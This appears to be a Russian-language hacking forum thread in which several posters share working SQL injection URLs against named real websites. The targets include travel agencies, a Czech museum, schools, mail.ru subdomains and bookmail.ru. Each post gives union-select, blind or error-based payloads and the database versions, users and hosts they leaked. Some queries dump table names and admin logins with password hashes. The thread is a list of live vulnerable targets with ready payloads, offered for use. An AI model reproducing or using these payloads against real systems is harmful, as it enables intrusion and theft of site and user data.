SQL-Injection

[poxek]

PHP код:

_http://www.rubin-tour.ru/gallery.php?id=-9+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4--
4.0.27-max-log:rubintour:rubintour@v52.valuehost.ru
_http://actravel.ru/gallery.php?id=-81+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user())--
4.1.25-log:actr:actr-sql@localhost 


[shuba]

http://www.muzeum-celakovice.com/index.php?id=-151%27+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4--+

version:4.0.26
user:muzeum_celakovic@10.2.194.152
database:muzeum_celakovic

http://www.greenroofs.com/projects/pview.php?id=-553+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+

version:4.0.27-standard
user:dbo207579874@localhost
database:db207579874

http://www.caucaz.com/home_eng/breve_contenu.php?id=-129+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,6,7,8,9,10,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--+

version:4.0.25-standard-log
user:caucazcaucaz@10.0.64.102
database:caucazcaucaz

[wildshaman]

deti.mail.ru
Blind-SQL

http://deti.mail.ru/ratings/poliklinika?sort_r=2&perpage=20&reqion_search_id=1+and+substring(version(),1,1)=5

http://deti.mail.ru/our_community?community_city=3728+and+substring(version(),1,1)=5&community_find=%CD%E0%E9%F2%E8

P.S. Есть еще 3 с выводом ошибок, но докрутить не смог, а голые постить не хочу

[Strilo4ka]

http://www.gto.by/index.php?bla=stantion&region=-7+union+select+1,2,3,concat_ws%280x40,user%28%29,version%28%29,database%28%29%29,5,6,7,8,9,10,11--+

pr5

[Chelios]

тИЦ 120 PR 4

http://bookmail.ru/news.php?p=3&part=&id=-58'+union+select+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name='cat_users'+--+
http://bookmail.ru/news.php?p=3&part=&id=-58'+union+select+1,count(*),3,4,5,6,7+from+cat_users+--+

в таблице cat_users 20938 записей

http://bookmail.ru/news.php?p=3&part=&id=-58'+union+select+1,concat_ws(0x3a,id,login,pass),3,4,5,6,7+from+cat_adm+--+

http://bookmail.ru/admin/

[root_sashok]

http://www.woodlands.edu.uy/actividades_salida.php?i=-1+union+select+1,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),3,4,5--

Username: woodland_web1234@localhost
Version: 5.0.90-community-log
Database: woodland_sitioweb
OS: pc-linux-gnu

http://www.pbi.edu.pl/book_reader.php?p=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,concat_ws(0x3a,user(),version(),database())--

Username: root@localhost
Version: 4.0.18
Database: pbi_2_0

[Gorev]

http://www.centerdolgov.ru/company.php?id=-230'+union+select+1,2,concat_ws(0x3a,version(),dat abase(),user(),@@version_compile_os),4,5,6,7,8,9,1 0,11,12,13,14+--+
Database Version: 5.0.26-log
Database Version: 5.0.26-log
Database name: centerdolgov
OS: suse-linux

[root_sashok]

http://www.maarav.org.il/classes/PUItem.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database(),@@version_compile_os),3,4,5,6,7,8--

Username: maaravo_maarav5@localhost
Version: 5.0.90-community
Database: maaravo_maarav5
OS: pc-linux-gnu

Таблицы:

authors
authors_lang
banner
categories
categories_lang
daily_image
daily_image_topic
daily_image_topic_lang
events
events_status
flash_flood_items
forum_categories
forum_entries
forum_settings
forum_userdata
forum_useronline
item_status
items
languages
link_type
media_types
news
news_status
readers_comments
sub_categories
sub_categories_lang
user_groups
users

Пользователи и хеши:

http://www.maarav.org.il/classes/PUItem.php?id=-1+union+select+1,group_concat(0x3b,user_name,password),3,4,5,6,7,8+from+users--

Вывод через точку с запятой.

[Pashkela]

как бы замануха с одного известного вам форума, отвечать теперь буду здесь)

http://www.team-dignitas.org/index.php?id=10104'+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+news+group+by+2+limit+1)a)--+

Duplicate entry '5.1.41-3ubuntu121' for key 'group_key'

ТИЦ: 20 
PR: 4

[Gorev]

http://www.ruscourier.ru/archive.php?id=-3316+union+select+concat_Ws(0x3a,version(),databas e(),user(),@@version_compile_os)
Database Version: 5.0.26-lk-log
Database name: ruscouru
User name: ruscouru@localhost
Os:linux